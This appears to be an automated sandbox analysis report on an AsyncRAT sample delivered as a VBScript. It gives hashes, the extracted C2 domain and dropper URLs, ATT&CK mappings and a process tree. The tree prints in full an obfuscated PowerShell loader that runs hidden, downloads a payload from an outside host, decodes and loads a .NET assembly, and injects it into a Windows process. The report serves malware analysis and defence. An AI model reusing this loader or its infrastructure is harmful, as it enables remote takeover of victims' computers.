asyncrat | 93db398a854042d2a23e61cd308a05d21fb85a6b5c28206c585a6221ac583cd6

General

Target

asegurar.vbs
Size

139KB
MD5

b6a19737eef49bc1fda3686ea04fefd2
SHA1

e4f14e237fcd865694ce29862f58c063c0efe995
SHA256

93db398a854042d2a23e61cd308a05d21fb85a6b5c28206c585a6221ac583cd6
SHA512

03145176ca0d828034a4c6907213bcf6478a64134a9fd7a79026ea5ae250dc79d43da1d0cb005e18d0be4bb46373d36302f7369bfc5457be745ba3f50072e887
SSDEEP

3072:boU4gHKIuQzOTbEeqZfCPgyoL4EairFgt5pJGwm:bLKAubqZTyo9

Score

10^/10

asyncrat tar22 discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Tar22

C2

7014vj.duckdns.org:8000

Mutex

DcRatMutex_qwsafun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	5068	powershell.exe
22	5068	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5068	powershell.exe
4756	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5068 set thread context of 4424	5068	powershell.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4756	powershell.exe
4756	powershell.exe
5068	powershell.exe
5068	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 4756	2648	WScript.exe	82
PID 2648 wrote to memory of 4756	2648	WScript.exe	82
PID 4756 wrote to memory of 5068	4756	powershell.exe	84
PID 4756 wrote to memory of 5068	4756	powershell.exe	84
PID 5068 wrote to memory of 4424	5068	powershell.exe	92
PID 5068 wrote to memory of 4424	5068	powershell.exe	92
PID 5068 wrote to memory of 4424	5068	powershell.exe	92
PID 5068 wrote to memory of 4424	5068	powershell.exe	92
PID 5068 wrote to memory of 4424	5068	powershell.exe	92
PID 5068 wrote to memory of 4424	5068	powershell.exe	92
PID 5068 wrote to memory of 4424	5068	powershell.exe	92
PID 5068 wrote to memory of 4424	5068	powershell.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asegurar.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnUnZpaW1hZ2VVcmwgPSBpOHhodHRwczonKycvLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9mJysnaWxla2UnKyd5PTJBYV9iV285UmV1NDV0N0JVMWtWZ3NkOXAnKydUOXBnU1NsdlN0R3JuVElDZkZobVRLajNMJysnQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWMnKyc2MmMxNzMwOTQ1MTc2YTA5MDRmICcrJ2k4eDtSdml3ZWJDbGllbnQnKycgPSBOZXctT2JqZWMnKyd0IFN5c3RlbS5OZXQuV2ViQ2xpZW50JysnO1J2aWltYWdlQnl0ZXMgPSBSdml3ZWJDbGllbnQuRG93bmxvYWREYXRhKFJ2aWltYWdlVXJsKTtSdmlpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVJysnVEY4LkdldFN0cmluZycrJyhSdmlpJysnbWFnZUJ5dGVzKTtSdmlzdGFydEZsJysnYWcgPSBpOHg8PEJBU0U2NF9TVEFSVD4+aTh4JysnO1J2aWVuZEYnKydsYWcgPSBpOHg8PEJBUycrJ0U2NF9FTkQ+Pmk4eDtSdmlzdGFydEluZGV4ID0gUnZpaW1hZ2VUZXh0LkluZGV4T2YoUnZpc3RhcicrJ3RGbGFnKTtSdmllbmRJbmRleCA9IFJ2aWltYWdlVGV4dC5JbmRleE9mKFJ2aWVuJysnZEZsYWcpO1J2aXN0YXJ0SW5kZXggLWdlIDAgLWFuZCBSdmknKydlbmRJbmRleCAtZ3QgUnZpc3RhcnRJbmRleDtSdmlzdGFydEluZGV4ICs9IFJ2aXN0YXJ0RmxhZy5MZW5ndGg7UnZpJysnYmFzZTY0TGVuZ3RoID0gUnZpZW5kSW5kZXggLSBSdmlzdGFydEluZGV4O1J2aWJhc2U2NENvbW1hbmQgPSAnKydSdmlpbWFnZVRlJysneHQuU3Vic3RyaW5nKFJ2aXN0YXJ0SW5kZXgsIFJ2aWJhc2U2NExlbmd0aCk7UnZpYmFzZScrJzY0UmV2ZXJzZWQgJysnPSAtam9pbiAoJysnUnZpYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFRGWCBGb3JFYWNoLU9iamVjdCB7IFJ2aV8gfSlbLTEuLi0oUnZpYmEnKydzZTY0Q29tJysnbWFuZC5MZW5ndGgpJysnXTtSdmljb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFJ2aWJhc2U2JysnNFJldmVyc2VkKTtSdmlsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWJseV06OkxvYWQoUnZpY29tbWFuZEJ5dGVzKTtSdml2YWlNZXRob2QgPSBbJysnZG4nKydsaWIuSU8uSG9tZV0uR2V0TWV0aG9kKGk4eFZBSWk4eCk7UnZpdmFpTWV0aG9kLkludm9rZShSdmludWxsLCBAKCcrJ2k4eDAvM3hRYnUvZC9lZS5ldHNhcC8vOnNwdHRoaTh4LCBpOHhkZXNhdGl2YWRvaTh4LCBpOHhkZScrJ3NhdGl2YWRvaTh4LCBpOHhkZXNhdGl2YWRvaTh4LCBpOHhBZGRJblByb2Nlc3MzMmk4eCwgaTh4JysnZGVzYXRpdmFkb2k4eCwgJysnaTh4ZGVzYXRpdmEnKydkb2k4eCxpOHhkZXNhdGl2YWRvaTh4LGk4eGRlc2F0aXZhZG9pOHgsaTh4ZGVzYXRpdmFkb2k4eCxpOHhkZXNhdGl2YWRvaTh4LGk4eGRlc2F0aXZhZG9pOHgnKycsaTh4MWk4eCcrJyxpOHhkZXNhdGl2YWRvaTh4KSk7JykgIC1yRXBsYWNFKFtDaEFSXTg0K1tDaEFSXTcwK1tDaEFSXTg4KSxbQ2hBUl0xMjQgIC1DUmVQTGFDRSAnaTh4JyxbQ2hBUl0zOS1DUmVQTGFDRSAgKFtDaEFSXTgyK1tDaEFSXTExOCtbQ2hBUl0xMDUpLFtDaEFSXTM2KSB8IC4gKCAkRW52OmNvbVNQZUNbNCwxNSwyNV0tSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('RviimageUrl = i8xhttps:'+'//1017.filemail.com/api/file/get?f'+'ileke'+'y=2Aa_bWo9Reu45t7BU1kVgsd9p'+'T9pgSSlvStGrnTICfFhmTKj3L'+'C6SQtIcOc_T35w&pk_vid=fd4f614bb209c'+'62c1730945176a0904f '+'i8x;RviwebClient'+' = New-Objec'+'t System.Net.WebClient'+';RviimageBytes = RviwebClient.DownloadData(RviimageUrl);RviimageText = [System.Text.Encoding]::U'+'TF8.GetString'+'(Rvii'+'mageBytes);RvistartFl'+'ag = i8x<<BASE64_START>>i8x'+';RviendF'+'lag = i8x<<BAS'+'E64_END>>i8x;RvistartIndex = RviimageText.IndexOf(Rvistar'+'tFlag);RviendIndex = RviimageText.IndexOf(Rvien'+'dFlag);RvistartIndex -ge 0 -and Rvi'+'endIndex -gt RvistartIndex;RvistartIndex += RvistartFlag.Length;Rvi'+'base64Length = RviendIndex - RvistartIndex;Rvibase64Command = '+'RviimageTe'+'xt.Substring(RvistartIndex, Rvibase64Length);Rvibase'+'64Reversed '+'= -join ('+'Rvibase64Command.ToCharArray() TFX ForEach-Object { Rvi_ })[-1..-(Rviba'+'se64Com'+'mand.Length)'+'];RvicommandBytes = [System.Convert]::FromBase64String(Rvibase6'+'4Reversed);RviloadedAssembly = [System.Refl'+'ection.Assembly]::Load(RvicommandBytes);RvivaiMethod = ['+'dn'+'lib.IO.Home].GetMethod(i8xVAIi8x);RvivaiMethod.Invoke(Rvinull, @('+'i8x0/3xQbu/d/ee.etsap//:sptthi8x, i8xdesativadoi8x, i8xde'+'sativadoi8x, i8xdesativadoi8x, i8xAddInProcess32i8x, i8x'+'desativadoi8x, '+'i8xdesativa'+'doi8x,i8xdesativadoi8x,i8xdesativadoi8x,i8xdesativadoi8x,i8xdesativadoi8x,i8xdesativadoi8x'+',i8x1i8x'+',i8xdesativadoi8x));') -rEplacE([ChAR]84+[ChAR]70+[ChAR]88),[ChAR]124 -CRePLaCE 'i8x',[ChAR]39-CRePLaCE ([ChAR]82+[ChAR]118+[ChAR]105),[ChAR]36) | . ( $Env:comSPeC[4,15,25]-JoiN'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mbvos5xu.ua0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4424-25-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4756-0-0x00007FFBAC563000-0x00007FFBAC565000-memory.dmp

Filesize
8KB

Download
memory/4756-1-0x0000025579E80000-0x0000025579EA2000-memory.dmp

Filesize
136KB

Download
memory/4756-11-0x00007FFBAC560000-0x00007FFBAD021000-memory.dmp

Filesize
10.8MB

Download
memory/4756-12-0x00007FFBAC560000-0x00007FFBAD021000-memory.dmp

Filesize
10.8MB

Download
memory/4756-22-0x00007FFBAC563000-0x00007FFBAC565000-memory.dmp

Filesize
8KB

Download
memory/4756-23-0x00007FFBAC560000-0x00007FFBAD021000-memory.dmp

Filesize
10.8MB

Download
memory/4756-31-0x00007FFBAC560000-0x00007FFBAD021000-memory.dmp

Filesize
10.8MB

Download
memory/5068-24-0x000002796CA70000-0x000002796CBC8000-memory.dmp

Filesize
1.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads